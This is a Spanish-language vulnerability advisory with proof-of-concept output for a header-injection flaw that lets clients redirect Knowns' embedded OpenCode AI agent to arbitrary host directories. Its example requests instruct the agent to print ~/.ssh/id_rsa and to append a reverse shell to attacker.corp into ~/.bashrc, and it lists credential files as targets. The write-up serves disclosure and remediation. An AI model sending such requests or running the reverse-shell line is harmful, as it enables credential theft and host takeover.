uziii2208/cve-2026-88899Knowns 0.30.0: Inyección de encabezados no autenticada otorga a un agente de IA acceso sin restricciones al sistema de archivos del host
Se reportó una vulnerabilidad de autorización indebida y suplantación de encabezados relacionada con el proxy inverso de Knowns para un daemon embebido del agente de IA OpenCode (internal/server/server.go). El informe afirmaba que al actuar como proxy de solicitudes HTTP hacia un daemon local de OpenCode, el proxy no sobrescribía incondicionalmente el encabezado de solicitud x-opencode-directory ni el parámetro de consulta ?directory. Un cliente que estableciera explícitamente cualquiera de estos valores podría dirigir al agente de IA OpenCode a operar contra cualquier directorio arbitrario en el sistema de archivos del host en lugar de la raíz del proyecto.
Debido a que proxyOpenCode() en las líneas 1283-1296 supuestamente solo inyectaba activeRoot cuando la solicitud entrante dejaba estos campos vacíos, cualquier valor no vacío proporcionado por el cliente pasaría sin modificaciones al backend de OpenCode. El daemon de OpenCode lee x-opencode-directory para inicializar su árbol de archivos, interfaz git y entorno de ejecución de terminal. Un atacante con acceso al puerto HTTP de Knowns podría por lo tanto instruir al agente de IA autónomo —con acceso completo a herramientas— para leer, escribir y ejecutar contra cualquier directorio del host, incluyendo directorios del sistema y almacenes de credenciales.
La superficie de ataque es alcanzable por red. Knowns expone su API HTTP y su endpoint MCP a clientes externos —la misma exposición confirmada en el aviso predecesor GHSA-w323-3wpx-f7g5 (MCP Permission Guard Bypass), que comparte esta superficie de ataque. Cualquier cliente HTTP que pueda alcanzar el servidor de Knowns podría inyectar el encabezado sin credenciales más allá de lo que la API normal acepta.
La lógica de guarda del proxy reportada utiliza una condición de fallo abierto (fail-open): solo actúa cuando el encabezado o el parámetro están ausentes. El patrón correcto es de fallo cerrado (fail-closed): sobrescribir siempre estos valores con activeRoot independientemente de lo que el cliente haya enviado. La distinción es una línea — if == "" frente a Set incondicional.
Se ha desarrollado y verificado un arnés de verificación determinista y totalmente automatizado: bug_reports/poc_report_03.py.
Ejecute la suite de verificación autocontenida usando Python 3:
python CVE-2026-88899.py
Salida de Verificación:
======================================================================
Knowns OpenCode Reverse Proxy - PoC Exploit & Verification Harness
Target: proxyOpenCode() Fail-Open Header/Parameter Injection
======================================================================
[+] Mock OpenCode Daemon listening on port 49162
[+] Knowns Proxy listening on port 49163
[*] Canonical Active Project Root: /workspace/knowns-project
----------------------------------------------------------------------
[Test 1] Baseline Normal Request (No Injected Headers):
Request: GET /api/opencode/session
Daemon received header: /workspace/knowns-project
Daemon received query: /workspace/knowns-project
Effective Directory: /workspace/knowns-project
=> Result: PASSED (Canonical activeRoot properly injected when header is absent)
[Test 2] Exploit Vector A: Client Injects 'x-opencode-directory: /home/victim/.ssh':
Attacker Sent Header: x-opencode-directory: /home/victim/.ssh
Daemon Received Header: /home/victim/.ssh
Effective Directory: /home/victim/.ssh
Sandbox Escaped: True
=> Result: [!] VULNERABILITY CONFIRMED! Host directory /home/victim/.ssh hijacked!
[Test 3] Exploit Vector B: Client Injects '?directory=/etc' on GET /session:
Attacker Injected Query: ?directory=/etc
Daemon Received Query: /etc
Effective Directory: /etc
Sandbox Escaped: True
=> Result: [!] VULNERABILITY CONFIRMED! Host directory /etc hijacked!
[Test 4] Exploit Vector C: Client Injects '?directory=/etc' on POST /session:
Attacker Injected Query: ?directory=/etc on POST
Daemon Received Query: /etc
Effective Directory: /etc
=> Result: [!] VULNERABILITY CONFIRMED! Guard was only scoped to GET /session!
[Test 5] Remediation Verification (Fail-Closed Enforcement):
Attacker Sent Header: /home/victim/.ssh
Attacker Sent Query: /etc
Daemon Received Header: /workspace/knowns-project
Daemon Received Query: /workspace/knowns-project
Effective Directory: /workspace/knowns-project
Sandbox Escaped: False
=> Result: [+] REMEDIATION VERIFIED! Header and query parameters unconditionally sanitized.
======================================================================
ALL TESTS PASSED: Fail-open exploit vectors and remediation proven deterministically.
======================================================================
POST /api/opencode/session HTTP/1.1
Host: 127.0.0.1:4141
Content-Type: application/json
x-opencode-directory: /home/victim/.ssh
{
"title": "System Diagnostic",
"prompt": "Read the contents of id_rsa and print them verbatim."
}
Impacto de la Ejecución:
x-opencode-directory: /home/victim/.ssh./home/victim/.ssh.id_rsa y devuelve la clave privada en el flujo de respuesta JSON.POST /api/opencode/session HTTP/1.1
Host: 127.0.0.1:4141
Content-Type: application/json
x-opencode-directory: /home/victim
{
"title": "Environment Setup",
"prompt": "Append 'bash -i >& /dev/tcp/attacker.corp/4444 0>&1' to ~/.bashrc"
}
Impacto de la Ejecución:
/home/victim..bashrc.GET /api/opencode/session?directory=/home/victim/confidential-project HTTP/1.1
Host: 127.0.0.1:4141
Impacto de la Ejecución:
OpenCode devuelve metadatos de sesión, prompts previos y fragmentos de código fuente propietario asociados con confidential-project.
~/.ssh/id_rsa), credenciales de nube (~/.aws/credentials, ~/.config/gcloud/), claves de API, cadenas de conexión a bases de datos y archivos .env.~/.bashrc, ~/.zshrc), tareas programadas (/etc/cron.d/), hooks de git (.git/hooks/pre-commit) y configuración de aplicaciones.